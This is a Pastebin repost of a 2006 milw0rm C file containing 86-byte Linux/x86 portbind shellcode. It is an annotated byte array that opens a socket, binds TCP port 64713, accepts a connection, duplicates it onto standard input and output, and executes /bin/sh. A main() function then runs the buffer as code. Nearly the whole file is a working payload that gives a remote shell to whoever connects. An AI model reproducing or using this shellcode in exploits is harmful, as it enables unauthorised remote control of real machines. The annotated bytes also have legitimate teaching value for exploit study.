Advertisement
Guest User

13374.c

a guest
Aug 13th, 2013
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.14 KB | None | 0 0
  1. /*
  2.  * linux-x86-portbind.c - portbind shellcode 86 bytes for Linux/x86
  3.  * Copyright (c) 2006 Gotfault Security <xgc@gotfault.net>
  4.  *
  5.  * portbind shellcode that bind()'s a shell on port 64713/tcp
  6.  *
  7.  */
  8.  
  9. char shellcode[] =
  10.  
  11.   /* socket(AF_INET, SOCK_STREAM, 0) */
  12.  
  13.   "\x6a\x66"            // push   $0x66
  14.   "\x58"            // pop    %eax
  15.   "\x6a\x01"            // push   $0x1
  16.   "\x5b"            // pop    %ebx
  17.   "\x99"            // cltd
  18.   "\x52"            // push   %edx
  19.   "\x53"            // push   %ebx
  20.   "\x6a\x02"            // push   $0x2
  21.   "\x89\xe1"            // mov    %esp,%ecx
  22.   "\xcd\x80"            // int    $0x80
  23.  
  24.   /* bind(s, server, sizeof(server)) */
  25.  
  26.   "\x52"            // push   %edx
  27.   "\x66\x68\xfc\xc9"        // pushw  $0xc9fc  // PORT = 64713
  28.   "\x66\x6a\x02"        // pushw  $0x2
  29.   "\x89\xe1"            // mov    $esp,%ecx
  30.   "\x6a\x10"            // push   $0x10
  31.   "\x51"            // push   %ecx
  32.   "\x50"            // push   %eax
  33.   "\x89\xe1"            // mov    %esp,%ecx
  34.   "\x89\xc6"            // mov    %eax,%esi
  35.   "\x43"            // inc    %ebx
  36.   "\xb0\x66"            // mov    $0x66,%al
  37.   "\xcd\x80"            // int    $0x80
  38.  
  39.   /* listen(s, anything) */
  40.  
  41.   "\xb0\x66"            // mov    $0x66,%al
  42.   "\xd1\xe3"            // shl    %ebx
  43.   "\xcd\x80"            // int    $0x80
  44.  
  45.   /* accept(s, 0, 0) */
  46.  
  47.   "\x52"            // push   %edx
  48.   "\x56"            // push   %esi
  49.   "\x89\xe1"            // mov    %esp,%ecx
  50.   "\x43"            // inc    %ebx
  51.   "\xb0\x66"            // mov    $0x66,%al
  52.   "\xcd\x80"            // int    $0x80
  53.  
  54.   "\x93"            // xchg   %eax,%ebx
  55.  
  56.   /* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
  57.  
  58.   "\x6a\x02"            // push   $0x2
  59.   "\x59"            // pop    %ecx
  60.  
  61.   "\xb0\x3f"            // mov    $0x3f,%al
  62.   "\xcd\x80"            // int    $0x80
  63.   "\x49"            // dec    %ecx
  64.   "\x79\xf9"            // jns    dup_loop
  65.  
  66.   /* execve("/bin/sh", ["/bin/sh"], NULL) */
  67.  
  68.   "\x6a\x0b"            // push   $0xb
  69.   "\x58"            // pop    %eax
  70.   "\x52"            // push   %edx
  71.   "\x68\x2f\x2f\x73\x68"    // push   $0x68732f2f
  72.   "\x68\x2f\x62\x69\x6e"    // push   $0x6e69622f
  73.   "\x89\xe3"            // mov    %esp, %ebx
  74.   "\x52"            // push   %edx
  75.   "\x53"            // push   %ebx
  76.   "\x89\xe1"            // mov    %esp, %ecx
  77.   "\xcd\x80";           // int    $0x80
  78.  
  79. int main() {
  80.  
  81.         int (*f)() = (int(*)())shellcode;
  82.         printf("Length: %u\n", strlen(shellcode));
  83.         f();
  84. }
  85.  
  86. // milw0rm.com [2006-04-06]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement